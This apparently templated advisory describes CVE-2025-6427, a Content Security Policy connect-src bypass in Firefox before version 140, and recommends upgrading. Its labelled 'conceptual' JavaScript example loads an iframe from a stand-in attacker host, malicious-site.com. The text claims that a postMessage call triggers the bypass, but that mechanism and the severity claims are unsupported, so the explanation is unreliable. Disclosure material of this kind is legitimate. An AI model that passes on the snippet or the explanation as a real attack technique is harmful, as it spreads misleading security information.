CVE-2025-6427: Bypassing `connect-src` Directive of Content Security Policy in Firefox

Overview

In the ongoing quest for secure online browsing, a new vulnerability has surfaced which presents a significant threat to internet users. The vulnerability, labeled as CVE-2025-6427, exploits a flaw in Firefox versions prior to 140, allowing an attacker to bypass the `connect-src` directive of a Content Security Policy (CSP).
This vulnerability poses an immediate concern for businesses, developers, and individual users alike due to the potential system compromise and data leakage that can occur. As the majority of online users rely on internet browsers for daily operations, this vulnerability requires immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-6427
Severity: Critical (9.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage.

Affected Products

Product | Affected Versions

Firefox | < 140 How the Exploit Works

The exploitation of CVE-2025-6427 involves an attacker manipulating subdocuments to bypass the `connect-src` directive of a Content Security Policy. This allows the attacker to make connections to unauthorized servers and hide these connections from the Network tab in Devtools. It essentially grants the attacker unrestricted access, thereby leading to possible system compromise and data leakage.

Conceptual Example Code

An example of how this exploit might be conducted is shown below. Please note that this is a conceptual representation and does not represent a real-world exploit.

let iframe = document.createElement('iframe');
iframe.src = 'https://malicious-site.com/exploit.html';
document.body.appendChild(iframe);
iframe.contentWindow.postMessage('connect-src-bypass', '*');

In the above example, an attacker creates an iframe that loads a malicious document from `https://malicious-site.com/exploit.html`. The iframe then posts a message that triggers the `connect-src` directive bypass, thereby allowing unauthorized connections to the malicious site.

Mitigation

The ideal solution to mitigate the risk of this vulnerability is to apply the vendor patch provided by Firefox. Users are encouraged to upgrade their Firefox browser to version 140 or later, which contains the necessary fixes.
As a temporary mitigation, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) is recommended. While this does not completely resolve the vulnerability, it can significantly decrease the risk of a successful exploit.
Remember, the first line of defense is always to keep software and systems up-to-date, following vendor recommendations and best practices in cybersecurity.